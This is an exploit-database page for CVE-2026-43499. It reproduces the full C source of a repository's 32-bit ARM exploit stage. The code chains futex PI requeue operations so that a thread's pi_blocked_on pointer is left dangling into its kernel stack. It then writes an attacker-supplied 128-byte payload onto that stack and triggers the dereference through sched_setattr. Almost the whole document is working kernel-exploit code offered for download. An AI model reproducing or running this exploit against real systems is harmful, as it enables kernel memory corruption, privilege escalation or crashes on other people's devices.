Exploit database

GH-7b49e2bac4ff2d54f9177e44ababc71f

veygax/horizonstack

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-43499

166 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files2
veygax/horizonstackRevision a23d0beb5d41

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/exp32/main.c

C · 8,772 bytes
/*
 * exp32 — CVE-2026-43499 32-bit ARM stage.
 *
 * Built as armeabi-v7a static PIE and embedded into the 64-bit
 * preload binary (see src/exp32_blob.S). The 64-bit side writes it to
 * EXP32_LOCAL and execve()s it with an inherited memfd holding the
 * 128-byte payload buffer:
 *
 *   argv[1] = decimal fd of the memfd (buffer: 16 uint64_t words)
 *
 * It MUST stay 32-bit: the kernel-stack corruption only lines up with
 * the 32-bit syscall entry (compat) path.
 */
#define _GNU_SOURCE

#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <pthread.h>
#include <sched.h>
#include <stdatomic.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/syscall.h>
#include <time.h>
#include <unistd.h>

#include "kernelsnitch/utils.h"

/* ------------------------------------------------------------------ */
/*  Constants                                                          */
/* ------------------------------------------------------------------ */

#define WAITER_WAIT_SEC     5
#define CONSUMER_DELAY_USEC 15000
#define CONSUMER_NICE       19

/* Payload: 16 uint64_t words = 128 bytes, written by exp_stack_once(). */
#define EXP_BUFFER_BYTES 128
#define EXP_BUFFER_WORDS (EXP_BUFFER_BYTES / sizeof(uint64_t))

/* ------------------------------------------------------------------ */
/*  Shared state                                                       */
/* ------------------------------------------------------------------ */

static uint32_t f_wait;
static uint32_t f_pi_target;
static uint32_t f_pi_chain;

static atomic_int g_waiter_tid;
static atomic_int g_waiter_ready;
static atomic_int g_waiter_waiting;
static atomic_int g_owner_started;
atomic_int g_consumer_go;
static atomic_int g_consumer_done;
static uint64_t g_payload_buffer[EXP_BUFFER_WORDS];

/*
 * sched_setattr ABI struct (same layout on 32-bit and 64-bit;
 * the kernel interprets it via the .size field).
 */
struct local_sched_attr {
    uint32_t size;
    uint32_t sched_policy;
    uint64_t sched_flags;
    int32_t  sched_nice;
    uint32_t sched_priority;
    uint64_t sched_runtime;
    uint64_t sched_deadline;
    uint64_t sched_period;
};

static long sched_setattr_tid(int tid, int nice_val) {
    struct local_sched_attr attr;
    memset(&attr, 0, sizeof(attr));
    attr.size         = sizeof(attr);
    attr.sched_policy = SCHED_BATCH;
    attr.sched_nice   = nice_val;
    return syscall(__NR_sched_setattr, tid, &attr, 0);
}

void do_stamp_stack(uint64_t *buf);

/* ------------------------------------------------------------------ */
/*  Thread: waiter                                                     */
/* ------------------------------------------------------------------ */

static void *waiter_thread(void *arg __attribute__((unused))) {
    pin_to_core(2);
    int tid = (int)syscall(__NR_gettid);
    atomic_store(&g_waiter_tid, tid);

    /* Step 1: lock pi_chain (become PI owner of pi_chain). */
    if (syscall(__NR_futex, &f_pi_chain, FUTEX_LOCK_PI, 0,
                NULL, NULL, 0) != 0) {
        pr_warning("waiter: LOCK_PI(chain) failed errno=%d\n", errno);
        return NULL;
    }

    atomic_store(&g_waiter_ready, 1);

    /* Wait for owner to lock pi_target and block on pi_chain. */
    while (!atomic_load(&g_owner_started))
        usleep(1000);

    /* Step 2: FUTEX_WAIT_REQUEUE_PI.
     * This allocates rt_mutex_waiter on our kernel stack and sets
     * our ->pi_blocked_on to point at it.
     */
    struct timespec timeout;
    syscall(__NR_clock_gettime, CLOCK_MONOTONIC, &timeout);
    timeout.tv_sec += WAITER_WAIT_SEC;

    atomic_store(&g_waiter_waiting, 1);

    pr_info("waiter: FUTEX_WAIT_REQUEUE_PI on f_wait -> pi_target\n");
    syscall(__NR_futex, &f_wait, FUTEX_WAIT_REQUEUE_PI, 0,
            &timeout, &f_pi_target, 0);
    pr_debug("waiter: returned from WRPI (errno=%d should be 110(ETIMEDOUT))\n",
             errno);

    /* Step 3: unlock pi_chain.  After this, pi_blocked_on is STILL
     * dangling (the bug: CMP_REQUEUE_PI cleaned main's, not ours).
     */
    syscall(__NR_futex, &f_pi_chain, FUTEX_UNLOCK_PI, 0, NULL, NULL, 0);

    /* Step 4: stamp our own kernel stack with the payload buffer. */
    do_stamp_stack(g_payload_buffer);

    /* Keep alive so the consumer can find our TID. */
    while (1)
        sleep(1);

    return NULL;
}

/* ------------------------------------------------------------------ */
/*  Thread: owner                                                      */
/* ------------------------------------------------------------------ */

static void *owner_thread(void *arg __attribute__((unused))) {
    /* Lock pi_target first. */
    if (syscall(__NR_futex, &f_pi_target, FUTEX_LOCK_PI, 0,
                NULL, NULL, 0) != 0) {
        pr_warning("owner: LOCK_PI(target) failed errno=%d\n", errno);
        return NULL;
    }

    while (!atomic_load(&g_waiter_ready))
        usleep(1000);

    atomic_store(&g_owner_started, 1);

    /* Try to lock pi_chain -- blocks because waiter holds it.
     * This creates the lock chain needed for the deadlock.
     */
    pr_debug("owner: LOCK_PI(chain) -- will block\n");
    syscall(__NR_futex, &f_pi_chain, FUTEX_LOCK_PI, 0, NULL, NULL, 0);
    pr_debug("owner: LOCK_PI(chain) acquired\n");

    while (1)
        sleep(1);
    return NULL;
}

/* ------------------------------------------------------------------ */
/*  Thread: consumer                                                   */
/* ------------------------------------------------------------------ */

static void *consumer_thread(void *arg __attribute__((unused))) {
    pin_to_core(3);
    int tid = 0;
    while (!(tid = atomic_load(&g_waiter_tid)))
        usleep(1000);

    while (!atomic_load(&g_consumer_go))
        ;

    /* Small delay to make sure pselect has entered the kernel and
     * the fd_sets have been copied to the stack.
     */
    usleep(CONSUMER_DELAY_USEC);

    if (!atomic_load(&g_consumer_go)) {
        pr_warning("consumer: missed the window\n");
        return NULL;
    }

    /*
     * Trigger: sched_setattr -> __sched_setscheduler -> rt_mutex_adjust_pi
     * -> dereferences waiter->pi_blocked_on (points to corrupted stack)
     * -> reads task=0, lock=0 from the zeroed waiter struct
     * -> kernel OOPS / crash.
     */
    pr_debug("consumer: calling sched_setattr on TID %d (nice=%d)\n",
             tid, CONSUMER_NICE);
    long ret = sched_setattr_tid(tid, CONSUMER_NICE);
    pr_debug("consumer: sched_setattr returned %ld errno=%d\n", ret, errno);

    atomic_store(&g_consumer_done, 1);

    while (1)
        sleep(1);
    return NULL;
}

/* ------------------------------------------------------------------ */
/*  main                                                               */
/* ------------------------------------------------------------------ */

int main(int argc, char **argv) {
    if (argc < 2) {
        pr_warning("usage: %s <buffer_fd>\n", argv[0]);
        return 1;
    }

    /* Read the payload from the inherited memfd (see exp_stack_once). */
    int buf_fd = atoi(argv[1]);
    ssize_t n = pread(buf_fd, g_payload_buffer, EXP_BUFFER_BYTES, 0);
    if (n != EXP_BUFFER_BYTES) {
        pr_warning("buffer fd %d unreadable: pread=%zd errno=%d\n",
                   buf_fd, n, errno);
        return 1;
    }

    pr_info("CVE-2026-43499 32-bit ARM stage pid=%d\n", getpid());

    pthread_t waiter, owner, consumer;

    pthread_create(&waiter,   NULL, waiter_thread,   NULL);
    pthread_create(&owner,    NULL, owner_thread,    NULL);
    pthread_create(&consumer, NULL, consumer_thread, NULL);

    /* Wait until waiter is inside FUTEX_WAIT_REQUEUE_PI and owner
     * has started (blocked on pi_chain).
     */
    while (!atomic_load(&g_waiter_waiting) ||
           !atomic_load(&g_owner_started))
        usleep(1000);

    /* Give the scheduler a moment to settle. */
    usleep(200000);

    /*
     * Trigger the deadlock -- CMP_REQUEUE_PI with val=1.
     * The (void *)1 timeout argument is cast to u32 as the comparison
     * value in the kernel's futex_cmp_requeue_pi path.
     *
     * This causes rt_mutex_start_proxy_lock to clean the WRONG thread's
     * pi_blocked_on, leaving the waiter's dangling to its kernel stack.
     */
    pr_info("main: FUTEX_CMP_REQUEUE_PI on f_wait -> pi_target\n");
    errno = 0;
    syscall(__NR_futex, &f_wait, FUTEX_CMP_REQUEUE_PI, 1,
            (void *)1, &f_pi_target, 0);
    pr_debug("main: CMP_REQUEUE_PI returned (errno=%d should be 35(EDEADLK))\n",
             errno);

    /* Wait for the exploit chain to finish (or crash). */
    while (!atomic_load(&g_consumer_done))
        sleep(1);

    pr_info("main: exploit chain complete.\n");
    return 0;
}